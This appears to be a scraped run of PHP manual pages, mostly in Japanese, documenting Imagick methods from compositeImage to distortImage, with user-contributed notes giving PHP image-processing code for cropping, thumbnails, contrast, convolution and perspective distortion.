giso at connectholland dot nl 20-Jan-2010 08:30
You might need to set the colorspace the same when composing two images over each other

<?php
//Creating two Imagick object
$first = new Imagick('first.jpg');
$second = new Imagick('second.jpg');

// Set the colorspace to the same value
$first->setImageColorspace($second->getImageColorspace() );

//Second image is put on top of the first
$first->compositeImage($second, $second->getImageCompose(), 5, 5);

//new image is saved as final.jpg
$first->writeImage('final.jpg');
?>
m dot roszka at textend dot net 12-Feb-2008 06:55
Here is an example on how to compose two images into a single one. The Imagick class utilises the exception handling model introduced in PHP5 and thus we will do that as well. Let's presume, that we have a directory in our filesystem, which contains our program and the two images we want to operate on.

<?php
try
{
    // Let's check whether we can perform the magick.
    if (TRUE !== extension_loaded('imagick'))
    {
        throw new Exception('Imagick extension is not loaded.');
    }

    // This check is an alternative to the previous one.
    // Use the one that suits you better.
    if (TRUE !== class_exists('Imagick'))
    {
        throw new Exception('Imagick class does not exist.');
    }

    // Let's find out where we are.
    $dir = dirname(__FILE__);

    // Let's read the images.
    $glasses = new Imagick();
    if (FALSE === $glasses->readImage($dir . '/glasses.png'))
    {
        throw new Exception();
    }

    $face = new Imagick();
    if (FALSE === $face->readImage($dir . '/face.jpg'))
    {
        throw new Exception();
    }

    // Let's put the glasses on (10 pixels from left, 20 pixels from top of face).
    $face->compositeImage($glasses, Imagick::COMPOSITE_DEFAULT, 10, 20);

    // Let's merge all layers (it is not mandatory).
    $face->flattenImages();

    // We do not want to overwrite face.jpg.
    $face->setImageFileName($dir . '/face_and_glasses.jpg');

    // Let's write the image.
    if  (FALSE == $face->writeImage())
    {
        throw new Exception();
    }
}

catch (Exception $e)
{
    echo 'Caught exception: ' . $e->getMessage() . "\n";
}

exit(0);
?>
Also a couple more words on the Imagick::COMPOSITE_DEFAULT argument. The images we are composing together are separate layers. Not only can we put them in specific order, but we can also choose the way we want them to interfere with each other. And here comes the second argument of the compositeImage method. It can be given either as a constant or as the integer value of that constant. You can use the reflection API of PHP5 to get the list of them.

<?php
Reflection::export(new ReflectionClass('Imagick'));
?>

Just look for COMPOSITE_* constants in the "Constants" section.


Imagick のコンストラクタ

  • ≪ Imagick::compositeImage
  • Imagick::contrastImage ≫
  • PHP Manual
  • Imagick
  • Imagick のコンストラクタ

Imagick::__construct

(PECL imagick 2, PECL imagick 3)

Imagick::__construct — Imagick のコンストラクタ

説明

public Imagick::__construct ( mixed $files = ? )

指定した画像あるいは画像群用に Imagick のインスタンスを作ります。

パラメータ

files

読み込みたい画像へのパス、あるいは複数のパスの配列。 パスのファイル名にはワイルドカードを含めることができ、 また URL を指定することもできます。

返り値

成功した場合に新しい Imagick オブジェクトを返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

divinity76 at gmail dot com 22-Apr-2019 07:55
if you need to create an image from a string containing the image binary, use readImageBlob, eg

<?php
$imagick = new Imagick();
$imagick->readImageBlob($str);
?>

likewise if you need to create an image from a file handle (without having the filepath), use readImageFile()
Jerome 04-Dec-2013 11:05
you can use PDF page as image. To do that, install ghostscript libraries.
IMagick use ghostscript to read PDF page.

<?php
$myurl = '/pdf/mypdf.pdf';
$image = new Imagick(realpath($myurl).'[0]'); //[0] indicate the number of the wanted page
$image->setResolution( 300, 300 );
$image->setImageFormat( "png" );
$image->writeImage(realpath('./mypdf.png'));
?>
andyearnshaw at do-not-spam-mygmail dot com 13-Mar-2013 10:13
If you try and load an ICO file whose extension isn't .ico, you'll get an error going along the lines of no delegate existing for the supplied image's format.  The can occur, for example, if you're using a temporary file.

<?php
$tmp = tempnam('cache/images', 'ico_');

if (copy('http://remote.url/favicon.ico', $tmp)) {
    $ico = new Imagick($tmp);  // <-- ERROR!
}
?>

Your first thought might be to rename your temporary file's extension to .ico, but I decided to try something that works on the command line―prefix the file name with 'ico:'

<?php
$tmp = tempnam('cache/images', 'ico_');

if (copy('http://remote.url/favicon.ico', $tmp)) {
    $ico = new Imagick("ico:$tmp");  // <-- Works great!
}
?>
martin at lks dot com 23-May-2012 04:29
If you are using windows imagemagick, at leat in my case, you have to include the full path of the file, including the 'c:' at the beginning. If you don't know for sure the way that the filename is going to come, you can use realpath() function to normalize it:

<?php
    $incoming_file = '/Users/John/Desktop/file_loco.jpg';
    $img = new Imagick(realpath($incoming_file));
    // realpath() will convert '/Users/John/Desktop/file_loco.jpg' to 'C:\Users\John\Desktop\file_loco.jpg'
    // and ImageMagick will have no trouble when loading
?>


画像のコントラストを変更する

  • ≪ Imagick::__construct
  • Imagick::contrastStretchImage ≫
  • PHP Manual
  • Imagick
  • 画像のコントラストを変更する

Imagick::contrastImage

(PECL imagick 2, PECL imagick 3)

Imagick::contrastImage — 画像のコントラストを変更する

説明

public Imagick::contrastImage ( bool $sharpen ) : bool

画像の中の暗めの部分と明るめの部分の輝度の差を強調します。 sharpen に 0 以外を指定すると画像のコントラストを上げ、 0 を指定するとコントラストを下げます。

パラメータ

sharpen

シャープ値。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::contrastImage()

<?php
function contrastImage($imagePath, $contrastType) {
    $imagick = new \Imagick(realpath($imagePath));
    if ($contrastType != 2) {
        $imagick->contrastImage($contrastType);
    }

    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

removespam dot roland at tannerritchie dot com 12-Feb-2015 07:14
Both xyking and quickshiftin include errors in their comments. xyking's error is in looping through negative numbers. quickshifting is incorrect in stating that 0 *increases* contrast (it does not - it decreases it).

Here is a (tested, working) method to increment or decrement contrast:
<?php
class Images {
public function contrastImage($contrast, $imagePath){

$this->image = new Imagick();
$this->image->readImage($imagePath);

 if ($contrast > 0){
                for ($i = 1; $i < $contrast; $i++){
                    $this->image->contrastImage(1);
                }
            }else if ($contrast <= 0) {

                for ($i = 0; $i > $contrast; $i--) {

                    $this->image->contrastImage(0);
                }
            }
     }
}
?>
quickshiftin at gmail dot com 07-Nov-2014 09:24
xyking's comment is wrong so be careful if you read it. You pass a value of 0 to *increase* the contrast.
xyking 16-Apr-2010 08:14
Tip:
<?php
$image->contrastImage(1); //Increase contrast once
$image->contrastImage(1); //Increase contrast more
$image->contrastImage(1); //Increase contrast even more

$image->contrastImage(0); //Decrease contrast once
$image->contrastImage(0); //Decrease contrast more
$image->contrastImage(0); //Decrease contrast even more

//This could be made into a function like this:
public function contrast($level) {
        $level = (int)$level;
        if ($level < -10) {
            $level = -10;
        } else if ($level > 10) {
            $level = 10;
        }
        if ($level > 0) {
            for ($i = 0; $i < $level; $i++) {
                $this->image->contrastImage(1);
            }
        } else if ($level < 0) {
            for ($i = $level; $i > 0; $i--) {
                $this->image->contrastImage(0);
            }
        }
    }
?>


カラー画像のコントラストを強調する

  • ≪ Imagick::contrastImage
  • Imagick::convolveImage ≫
  • PHP Manual
  • Imagick
  • カラー画像のコントラストを強調する

Imagick::contrastStretchImage

(PECL imagick 2, PECL imagick 3)

Imagick::contrastStretchImage — カラー画像のコントラストを強調する

説明

public Imagick::contrastStretchImage ( float $black_point , float $white_point , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

とりうる色の範囲全体に色を調整することによって、 カラー画像のコントラストを強調します。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

black_point

黒の点。

white_point

白の点。

channel

チャネルモードに対応したチャネル定数を指定します。 複数のチャネルに適用するには、 ビット演算子でチャネル型定数を組み合わせます。 デフォルトは Imagick::CHANNEL_ALL です。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

User Contributed Notes

SkepticaLee 11-Jun-2014 10:22
The black and white points refer to the absolute number of pixels. In the following example a coloured image is first desaturated (turned into a grey scale image) and then the darkest 90% of pixels are turned black, the brightest 5% are made white, and those between 90% and 95% are grey-scaled:

<?php
$im = new Imagick ("some_image.jpg");
list ($width, $height) = array_values ($im->getImageGeometry ());
$im->modulateImage (100, 0, 100);
$im->contrastStretchImage ($width * $height * 0.90, $width * $height * 0.95);
$im->writeImage ("temp.jpg");
echo "<img src=\"temp.jpg\">";
?>
SkepticaLee 21-Feb-2014 06:47
Trying to figure out what values the black and white points can have and what their effects are nearly drove me around the bend. However, this works:

<?php
$width = 480;
$height = 360;
$mask = new Imagick ();
$mask->newImage ($width, $height, "black");
$draw = new ImagickDraw ();
$draw->setFillColor ("white");
$draw->ellipse ($width / 2, $height / 2, $width * 5 / 12, $height * 5 / 12, 0, 360);
$mask->drawImage ($draw);
$mask->blurImage (0, 50);
$mask->contrastStretchImage (10, 125000);
$mask->writeImage ("mask.png");
?>

The result will be a vignette mask with the pixels in the corner being pure black, and the ones in the middle pure white (which is not the case if the line is commented out). Reducing the white value to, say, 100, turns most of the grey pixels white.


独自の畳み込み関数を画像に適用する

  • ≪ Imagick::contrastStretchImage
  • Imagick::count ≫
  • PHP Manual
  • Imagick
  • 独自の畳み込み関数を画像に適用する

Imagick::convolveImage

(PECL imagick 2, PECL imagick 3)

Imagick::convolveImage — 独自の畳み込み関数を画像に適用する

説明

public Imagick::convolveImage ( array $kernel , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

独自の畳み込み関数を画像に適用します。

パラメータ

kernel

畳み込みの中心。

channel

そのチャネルモードで使用可能なチャネル定数を指定します。 複数のチャネルを適用するには、定数をビット演算子で連結します。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::convolveImage()

<?php
function convolveImage($imagePath, $bias, $kernelMatrix) {
    $imagick = new \Imagick(realpath($imagePath));
    //$edgeFindingKernel = [-1, -1, -1, -1, 8, -1, -1, -1, -1,];
    $imagick->setImageBias($bias * \Imagick::getQuantum());
    $imagick->convolveImage($kernelMatrix);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

ahmed at zigzapps dot com 04-Nov-2019 12:57
The provided example is wrong. Here's a correct sample:

$matrix = [[1,-1,1],[-1,1,-1],[1,-1,1]];
$kernel = \ImagickKernel::fromMatrix($matrix);

$imagick = new Imagick();
$imagick->readimage($file.'/z.png');
$imagick->convolveImage ($kernel);
$imagick->writeimage('convolve.png');
$imagick->clear();
$imagick->destroy();
peter at musicalsaw dot com 25-Sep-2013 10:22
Example of convolveImage:

<?php
// run an edge detection filter on an image
$image = new imagick( "diana.png" );
$edgeArray = array(-1,-1,-1,-1,8,-1,-1,-1,-1);
$image->convolveImage ($edgeArray);
$image->thresholdImage(1);
header('Content-type: image/png');
echo $image;
?>


Get the number of images

  • ≪ Imagick::convolveImage
  • Imagick::cropImage ≫
  • PHP Manual
  • Imagick
  • Get the number of images

Imagick::count

(PECL imagick 3 >= 3.3.0)

Imagick::count — Get the number of images

説明

public Imagick::count ( int $mode = 0 ) : int

Returns the number of images.

パラメータ

mode

An unused argument. Currently there is a non-particularly well defined feature in PHP where calling count() on a countable object might (or might not) require this method to accept a parameter. This parameter is here to be conformant with the interface of countable, even though the param is not used.

返り値

Returns the number of images.

User Contributed Notes

There are no user contributed notes for this page.


画像の一部を抽出する

  • ≪ Imagick::count
  • Imagick::cropThumbnailImage ≫
  • PHP Manual
  • Imagick
  • 画像の一部を抽出する

Imagick::cropImage

(PECL imagick 2, PECL imagick 3)

Imagick::cropImage — 画像の一部を抽出する

説明

public Imagick::cropImage ( int $width , int $height , int $x , int $y ) : bool

画像の一部を抽出します。

パラメータ

width

抽出する幅。

height

抽出する高さ。

x

抽出する領域の左上の X 座標。

y

抽出する領域の左上の Y 座標。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::cropImage()

<?php
function cropImage($imagePath, $startX, $startY, $width, $height) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->cropImage($width, $height, $startX, $startY);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

olav at schettler dot net 30-Mar-2016 08:06
Here is a simple function to create a thumbnail. It accepts an additional parameter to set the focus point of the generated thumbnail:

<?php
function thumbnail($image, $new_w, $new_h, $focus = 'center')
{
    $w = $image->getImageWidth();
    $h = $image->getImageHeight();

    if ($w > $h) {
        $resize_w = $w * $new_h / $h;
        $resize_h = $new_h;
    }
    else {
        $resize_w = $new_w;
        $resize_h = $h * $new_w / $w;
    }
    $image->resizeImage($resize_w, $resize_h, Imagick::FILTER_LANCZOS, 0.9);

    switch ($focus) {
        case 'northwest':
            $image->cropImage($new_w, $new_h, 0, 0);
            break;

        case 'center':
            $image->cropImage($new_w, $new_h, ($resize_w - $new_w) / 2, ($resize_h - $new_h) / 2);
            break;

        case 'northeast':
            $image->cropImage($new_w, $new_h, $resize_w - $new_w, 0);
            break;

        case 'southwest':
            $image->cropImage($new_w, $new_h, 0, $resize_h - $new_h);
            break;

        case 'southeast':
            $image->cropImage($new_w, $new_h, $resize_w - $new_w, $resize_h - $new_h);
            break;
    }
}
?>
oxxido at gmail dot com 13-Apr-2015 05:58
I have a function that takes an image, resize and crop it, and save it as normal, then resize it again and crop it again to create the thumbnail. The numbers of the second crop were WAY off, and the calculations were perfect, the problem, was the second crop wasn't resetting the imagePage, so if you try to crop the same image twice, it will be a good idea to reset it first:
<?php
$thumb = new Imagick($file)
$thumb->resizeImage($r_w1,$r_h1,Imagick::FILTER_CATROM,0.9, false);
$thumb->cropImage($w1,$h1,$l1,$t1);
$thumb->writeImage($destinationPath.'/'.$fileName);

$thumb->resizeImage($r_w2,$r_h2,Imagick::FILTER_CATROM,0.9, false);
$thumb->setImagePage(0, 0, 0, 0);
$thumb->cropImage($w2,$h2,$l2,$t2);
$thumb->writeImage($destinationPath.'/'.$fileNameThumb);

?>

BTW, i needed perfect dimentions so i had to set the "bestfit" to false.
ElPadre 05-Nov-2010 08:55
Actually, the Imagick::setImagePage(0,0,0,0) is also handy with jpgs and pngs, if you plan to do any more changes on the cropped image that involves positioning and/or gravity (I created a script that does crop, face blur and watermarking in one go, and had a hell of a time determining why the blurs and the watermark text never showed up...).
Christian Dehning 09-Apr-2010 03:57
When cropping gif-images (I had no problems with jpg and png images), the canvas is not removed. Please run the following command on the cropped gif, to remove the blank space:

$im->setImagePage(0, 0, 0, 0);
vincent dot hoen at gmail dot com 02-Aug-2007 06:35
There is an easiest way to crop an image :

$picture = new Imagick('animated_gif.gif');

foreach($picture as $frame){
    $frame->cropImage($width, $height, $x, $y);
}


切り取ってサムネイルを作成する

  • ≪ Imagick::cropImage
  • Imagick::current ≫
  • PHP Manual
  • Imagick
  • 切り取ってサムネイルを作成する

Imagick::cropThumbnailImage

(PECL imagick 2, PECL imagick 3)

Imagick::cropThumbnailImage — 切り取ってサムネイルを作成する

説明

public Imagick::cropThumbnailImage ( int $width , int $height , bool $legacy = false ) : bool

固定サイズのサムネイルを作成します。 まず画像のサイズを拡大あるいは縮小し、指定した範囲を中心から切り取ります。

パラメータ

width

サムネイルの幅。

height

サムネイルの高さ。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

sonsandsons at gmail dot com 29-Nov-2011 10:01
It's worth noting that using cropThumbnailImage can appear to give undesired results if you're using .gif image formats. If you are using .gif's, you'll need to compliment this function with a removal of the canvas.

<?php

//instantiate the image magick class
$image = new Imagick($image_path);

//crop and resize the image
$image->cropThumbnailImage(100,100);

//remove the canvas
$image->setImagePage(0, 0, 0, 0);

?>
martijn at elicit dot nl 03-Jun-2010 05:57
In my opinion this function is not working as expected, tested for imagemagick version 6.3.7

As described above, the function returns an image with a fixed height and a variable width. Here's a fix that will return a cropped thumbnail with the defined dimensions, without variations in the dimensions.

<?php
// define widescreen dimensions
$width = 160;
$height = 90;

// load an image
$i = new Imagick("your image file");
// get the current image dimensions
$geo = $i->getImageGeometry();

// crop the image
if(($geo['width']/$width) < ($geo['height']/$height))
{
    $i->cropImage($geo['width'], floor($height*$geo['width']/$width), 0, (($geo['height']-($height*$geo['width']/$width))/2));
}
else
{
    $i->cropImage(ceil($width*$geo['height']/$height), $geo['height'], (($geo['width']-($width*$geo['height']/$height))/2), 0);
}
// thumbnail the image
$i->ThumbnailImage($width,$height,true);

// save or show or whatever the image
$i->setImageFormat("png");
header("Content-Type: image/png");
exit($i);
?>
benford at bluhelix dot com 11-Jun-2009 02:14
I found a relevant posting complete with demo code at this site:
http://valokuva.org/?p=8

Sample code goes like this:
<?php
/* Read the image */
$im = new imagick( "test.png" );
/* create the thumbnail */
$im->cropThumbnailImage( 80, 80 );
/* Write to a file */
$im->writeImage( "th_80x80_test.png" );
?>

This is a specialization of the cropImage method. At a high level, this method will create a thumbnail of a given image, with the thumbnail sized at ($width, $height).

If the thumbnail does not match the aspect ratio of the source image, this is the method to use. The thumbnail will capture the entire image on the shorter edge of the source image (ie, vertical size on a landscape image). Then the thumbnail will be scaled down to meet your target height, while preserving the aspect ratio. Extra horizontal space that does not fit within the target $width will be cropped off evenly left and right.

As a result, the thumbnail is usually a good representation of the source image.
domenechs1 at yahoo dot es 03-Mar-2008 09:06
$image = new Imagick($path."test1.jpg");

$image->cropThumbnailImage(160,120); // Crop image and thumb

$image->writeImage($path."test1.jpg");


現在の Imagick オブジェクトへの参照を返す

  • ≪ Imagick::cropThumbnailImage
  • Imagick::cycleColormapImage ≫
  • PHP Manual
  • Imagick
  • 現在の Imagick オブジェクトへの参照を返す

Imagick::current

(PECL imagick 2, PECL imagick 3)

Imagick::current — 現在の Imagick オブジェクトへの参照を返す

説明

public Imagick::current ( ) : Imagick

現在の imagick オブジェクトへの参照を返し、 画像ポインタを正しいシーケンスに設定します。

返り値

成功した場合に自分自身を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のカラーマップを移動する

  • ≪ Imagick::current
  • Imagick::decipherImage ≫
  • PHP Manual
  • Imagick
  • 画像のカラーマップを移動する

Imagick::cycleColormapImage

(PECL imagick 2, PECL imagick 3)

Imagick::cycleColormapImage — 画像のカラーマップを移動する

説明

public Imagick::cycleColormapImage ( int $displace ) : bool

位置番号を指定して、画像のカラーマップを移動します。 カラーマップを何度か回転させると、サイケデリックな効果が得られます。

パラメータ

displace

カラーマップを移動させる量。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像を復号する

  • ≪ Imagick::cycleColormapImage
  • Imagick::deconstructImages ≫
  • PHP Manual
  • Imagick
  • 画像を復号する

Imagick::decipherImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::decipherImage — 画像を復号する

説明

public Imagick::decipherImage ( string $passphrase ) : bool

暗号化された画像を復号します。画像の暗号化は Imagick::encipherImage() で行わなければなりません。 このメソッドは、ImageMagick バージョン 6.3.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

passphrase

パスフレーズ。

返り値

成功した場合に true を返します。

参考

  • Imagick::encipherImage() - 画像を暗号化する

User Contributed Notes

There are no user contributed notes for this page.


画像間の特定のピクセルの差を返す

  • ≪ Imagick::decipherImage
  • Imagick::deleteImageArtifact ≫
  • PHP Manual
  • Imagick
  • 画像間の特定のピクセルの差を返す

Imagick::deconstructImages

(PECL imagick 2, PECL imagick 3)

Imagick::deconstructImages — 画像間の特定のピクセルの差を返す

説明

public Imagick::deconstructImages ( ) : Imagick

各画像をシーケンス内の次の画像と比較し、 最大の境界範囲を返します。

返り値

成功した場合に新しい Imagick オブジェクトを返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のアーチファクトを削除する

  • ≪ Imagick::deconstructImages
  • Imagick::deleteImageProperty ≫
  • PHP Manual
  • Imagick
  • 画像のアーチファクトを削除する

Imagick::deleteImageArtifact

(PECL imagick 3)

Imagick::deleteImageArtifact — 画像のアーチファクトを削除する

説明

public Imagick::deleteImageArtifact ( string $artifact ) : bool

画像に関連づけられたアーチファクトを削除します。プロパティとアーチファクトの違いは、 プロパティは public であるのに対してアーチファクトは private であるという点です。 このメソッドは、ImageMagick バージョン 6.5.7 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

artifact

削除したいアーチファクトの名前。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

参考

  • Imagick::setImageArtifact() - 画像のアーチファクトを設定する
  • Imagick::getImageArtifact() - 画像のアーチファクトを取得する

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::deleteImageArtifact
  • Imagick::deskewImage ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::deleteImageProperty

(PECL imagick 3 >= 3.3.0)

Imagick::deleteImageProperty — Description

説明

public Imagick::deleteImageProperty ( string $name ) : bool

Deletes an image property.

パラメータ

name

The name of the property to delete.

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


傾きを除去する

  • ≪ Imagick::deleteImageProperty
  • Imagick::despeckleImage ≫
  • PHP Manual
  • Imagick
  • 傾きを除去する

Imagick::deskewImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3 >= 3.3.0)

Imagick::deskewImage — 傾きを除去する

説明

public Imagick::deskewImage ( float $threshold ) : bool

このメソッドを使うと、スキャナでの読み込み時にうまく紙を置かなかった場合などの画像の傾きを除去することができます。 このメソッドは、ImageMagick バージョン 6.4.5 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

threshold

傾き除去の閾値。

返り値

例

例1 Imagick::deskewImage()

<?php
function deskewImage($threshold) {
    $imagick = new \Imagick(realpath("images/NYTimes-Page1-11-11-1918.jpg"));
    $deskewImagick = clone $imagick;

    //This is the only thing required for deskewing.
    $deskewImagick->deskewImage($threshold);

    //The rest of this example is to make the result obvious - because
    //otherwise the result is not obvious.
    $trim = 9;

    $deskewImagick->cropImage($deskewImagick->getImageWidth() - $trim, $deskewImagick->getImageHeight(), $trim, 0);
    $imagick->cropImage($imagick->getImageWidth() - $trim, $imagick->getImageHeight(), $trim, 0);
    $deskewImagick->resizeimage($deskewImagick->getImageWidth() / 2, $deskewImagick->getImageHeight() / 2, \Imagick::FILTER_LANCZOS, 1);
    $imagick->resizeimage($imagick->getImageWidth() / 2, $imagick->getImageHeight() / 2, \Imagick::FILTER_LANCZOS, 1);
    $newCanvas = new \Imagick();
    $newCanvas->newimage($imagick->getImageWidth() + $deskewImagick->getImageWidth() + 20, $imagick->getImageHeight(), 'red', 'jpg');
    $newCanvas->compositeimage($imagick, \Imagick::COMPOSITE_COPY, 5, 0);
    $newCanvas->compositeimage($deskewImagick, \Imagick::COMPOSITE_COPY, $imagick->getImageWidth() + 10, 0);

    header("Content-Type: image/jpg");
    echo $newCanvas->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像内のスペックルノイズを軽減する

  • ≪ Imagick::deskewImage
  • Imagick::destroy ≫
  • PHP Manual
  • Imagick
  • 画像内のスペックルノイズを軽減する

Imagick::despeckleImage

(PECL imagick 2, PECL imagick 3)

Imagick::despeckleImage — 画像内のスペックルノイズを軽減する

説明

public Imagick::despeckleImage ( ) : bool

画像内のスペックルノイズを軽減します。ただし元画像の輪郭は保持します。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::despeckleImage()

<?php
function despeckleImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->despeckleImage();
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Imagick オブジェクトを破棄する

  • ≪ Imagick::despeckleImage
  • Imagick::displayImage ≫
  • PHP Manual
  • Imagick
  • Imagick オブジェクトを破棄する

Imagick::destroy

(PECL imagick 2, PECL imagick 3)

Imagick::destroy — Imagick オブジェクトを破棄する

説明

public Imagick::destroy ( ) : bool

Imagick オブジェクトを破棄し、関連するリソースをすべて開放します。 このメソッドは非推奨です。かわりに Imagick::clear を使いましょう。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像を表示する

  • ≪ Imagick::destroy
  • Imagick::displayImages ≫
  • PHP Manual
  • Imagick
  • 画像を表示する

Imagick::displayImage

(PECL imagick 2, PECL imagick 3)

Imagick::displayImage — 画像を表示する

説明

public Imagick::displayImage ( string $servername ) : bool

このメソッドは、画像を X サーバーに表示します。

パラメータ

servername

X サーバーの名前。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像あるいは画像シーケンスを表示する

  • ≪ Imagick::displayImage
  • Imagick::distortImage ≫
  • PHP Manual
  • Imagick
  • 画像あるいは画像シーケンスを表示する

Imagick::displayImages

(PECL imagick 2, PECL imagick 3)

Imagick::displayImages — 画像あるいは画像シーケンスを表示する

説明

public Imagick::displayImages ( string $servername ) : bool

画像あるいは画像シーケンスを X サーバーに表示します。

パラメータ

servername

X サーバーの名前。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


さまざまな方式で画像を歪める

  • ≪ Imagick::displayImages
  • Imagick::drawImage ≫
  • PHP Manual
  • Imagick
  • さまざまな方式で画像を歪める

Imagick::distortImage

(PECL imagick 2 >= 2.0.1, PECL imagick 3)

Imagick::distortImage — さまざまな方式で画像を歪める

説明

public Imagick::distortImage ( int $method , array $arguments , bool $bestfit ) : bool

さまざまな方式で画像を歪めます。 これは、元画像の色を新たな画像の色に対応させることで行います。 新たな画像は、'bestfit' を true に設定しない限りは元画像と同じ大きさになります。

'bestfit' を有効にし、使用する歪め方式がサイズ変更を許可していた場合は、 変換後の画像に合わせて画像のサイズやオフセットが調整されます。 多くの場合、元画像の仮想オフセットも考慮したマッピングが行われます。

このメソッドは、ImageMagick バージョン 6.3.6 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

method

画像の歪め方式。 歪め定数 を参照ください。

arguments

歪め方式の引数。

bestfit

元画像のサイズを変更する。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::distortImage() の使用法

画像を歪めてブラウザに表示します。

<?php
/* 新しいオブジェクトを作成します */
$im = new Imagick();

/* 新しいチェッカー板パターンを作成します */
$im->newPseudoImage(100, 100, "pattern:checkerboard");

/* 画像フォーマットを png に設定します */
$im->setImageFormat('png');

/* 新しい透明な可視領域を設定します */
$im->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);

/* マット処理を有効にします */
$im->setImageMatte(true);

/* 歪め用の制御点 */
$controlPoints = array( 10, 10,
                        10, 5,

                        10, $im->getImageHeight() - 20,
                        10, $im->getImageHeight() - 5,

                        $im->getImageWidth() - 10, 10,
                        $im->getImageWidth() - 10, 20,

                        $im->getImageWidth() - 10, $im->getImageHeight() - 10,
                        $im->getImageWidth() - 10, $im->getImageHeight() - 30);

/* 歪め処理を行います */
$im->distortImage(Imagick::DISTORTION_PERSPECTIVE, $controlPoints, true);

/* 画像を出力します */
header("Content-Type: image/png");
echo $im;
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : Imagick::distortImage() の使用法

参考

  • Imagick::blurImage() - blur (にじみ) フィルタを画像に追加する
  • Imagick::motionBlurImage() - モーションブラーをシミュレートする
  • Imagick::radialBlurImage() - 画像にラジアルブラーを施す

User Contributed Notes

Abe 13-Feb-2021 05:21
Control Points for DISTORTION_PERSPECTIVE are pairs of x0, y0, x1, y1 coordinates, where x0/y0 is the original point and x1/y1 is the destination point,

e.g. for a four point distortion:

    <?php

    $im = new imagick( $fn);

    $w=$im->getImageWidth();
    $h=$im->getImageHeight();
    $im->setImageFormat('png');

    $controlPoints = array(
                    $tLx, $tLy, 0, 0,  // top left
                    $tRx, $tRy, $w, 0, // top right
                    $bRx, $bRy, $w, $h, // bottom right
                    $bLx, $bLy, 0, $h // bottom left
                );

    /* Perform the distortion */
    $im->distortImage(Imagick::DISTORTION_PERSPECTIVE, $controlPoints, false);

    // Output the image
    $output = $im->getimageblob();
    $outputtype = $im->getFormat();

    header("Content-type: $outputtype");
    echo $output;

    ?>
peter dot e dot lind at gmail dot com 30-Dec-2014 08:55
It is worth nothing that details on distorts as well as arguments can be found at http://www.imagemagick.org/Usage/distorts/ - the PHP manual doesn't give much, if any, detail on arguments.

I found this very useful when I had to do a translated rotation on an image - i.e. rotating around a point in the image that was not square in the center. This can be achieved by using distortImage with Imagick::DISTORTION_SCALEROTATETRANSLATE like this:

<?php

$imagick = new Imagick('/path/to/image');
$args = array(
    20, # x point to rotate around
    20, # y point to rotate around
    1, # scaling factor - 1 means no scaling
    90, # angle to rotate
);

$imagick->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);
$imagick->distortImage(Imagick::DISTORTION_SCALEROTATETRANSLATE, $args, true);

?>

Note that this type of distort takes from 1 to 7 arguments, depending on what you want to do exactly - there is a lot of flexibility here.
DJ Mike 11-Apr-2011 11:11
Affine

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25,
               100,0, 100,50
               );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage(  Imagick::DISTORTION_AFFINE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Affine Projection

<?php
$image = new imagick( "opossum.jpg" );
$points = array( 0.9,0.3,
                -0.2,0.7,
                 20,15 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_AFFINEPROJECTION, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Arc

<?php
$image = new imagick( "opossum.jpg" );
$draw = new imagickdraw();
